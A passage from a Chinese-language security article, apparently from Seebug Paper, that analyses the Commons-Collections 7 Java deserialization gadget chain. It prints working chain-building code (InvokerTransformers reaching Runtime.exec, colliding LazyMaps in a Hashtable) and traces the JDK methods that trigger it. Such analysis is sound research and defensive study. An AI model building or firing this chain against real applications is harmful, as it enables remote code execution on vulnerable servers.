Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);
通過反射出HashMap的key,并將惡意TiedMapEntry對象賦值給key屬性中。至此,利用鏈構造完成。
Commons-Collections7
CommonsCollections7的sink鏈使用的是InvokerTransformer反射接口,利用ChainedTransformer串聯三次InvokerTransformer反射和ConstantTransformer接口,獲取惡意的Runtime類。調用LazyMap.decorate方法,將惡意的ChainedTransformer賦值給LazyMap#factory,當調用LazyMap#get(Object key)方法,則會觸發惡意代碼的執行。(與CommonsCollections1、CommonsCollections5、CommonsCollections6的sink點相同)
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
CommonsCollections7的sink點與之前的CC鏈的不同點在于,CommonsCollections7實例化兩次LazyMap對象。
CommonsCollections7的source點選擇Hashtable,具體gadget代碼如下:
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
Gadget中調用了兩次Hashtable#put方法,將兩個LazyMap對象放入了Hashtable中,最終調用remove清空lazyMap2中的yy元素。
目前存在兩個問題:
1.為什么需要實例化兩次LazyMap對象
2.為什么需要調用remove清空lazyMap2中的yy元素
解答這兩個問題之前,需要跟蹤一下反序列化流程。跟蹤Hashtable#readObject方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
在readObject方法中會根據Hashtable的元素個數判斷調用reconstitutionPut(table, key, value)方法的次數,跟進reconstitutionPut方法。
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
在reconstitutionPut方法中會調用e.key.equals(key)方法。依靠之前的CommonsCollections利用鏈的經驗,需要在入口類通過各種方法的調用,從而調用到LazyMap#get方法,CommonsCollections7的gadget構造思路也如此,Gadget作者通過調用equals方法,串聯入口類和LazyMap。由于在序列化對象構造時,將LazyMap對象作為Hashtable的key值傳入到Hashtable的元素中。因此在調用e.key.equals(key)方法時,實質是調用LazyMap#equals方法。

LazyMap繼承于AbstractMapDecorator抽象類,從而調用AbstractMapDecorator#equals方法。
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
其中的map對象則是在調用LazyMap.decorate方法時傳入的HashMap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
因此最終調用HashMap繼承的抽象類AbstractMap中的equals方法
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
并在AbstractMap#equals方法匯總調用傳入對象的get方法。這里重點跟蹤一下如何將LazyMap對象作為傳入對象傳入的,根據上述調用流程逆推,可以看到AbstractMap#equals(Object o)傳入參數o是取決于reconstitutionPut方法中調用e.key.equals(key)方法中傳入的key值。在這里可以解答上述提到的兩個問題。
由于在Hashtable反序列化調用reconstitutionPut方法時,會判斷tab數組中是否存在元素,如果存在,則進入for循環中調用e.key.equals(key)方法。
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
只有在調用第一次reconstitutionPut方法之后,將第一個Hashtable中的元素傳入到tab數組中,在進行第二次調用時,才會保證tab數組非空,從而正常調用e.key.equals(key)方法。

而調用兩次reconstitutionPut方法的前提是,需要保證Hashtable中存在兩個元素
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
并且為了保證e.key.equals(key)方法中 e.key是LazyMap對象,且傳入的key參數也需要是LazyMap對象,因此需要實例化兩次LazyMap對象,在Hashtable中進行key比較時,完成LazyMap的調用,從而完成利用鏈的構造。
調用remove清空lazyMap2中的yy元素,是為了保持兩個LazyMap對象中的元素個數保持相同,由于在AbstractMap#equals方法中存在LazyMap元素個數比較的判斷條件

如果元素個數不同將直接返回false,不會調用后續的get請求,導致利用鏈失效。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1656/
暫無評論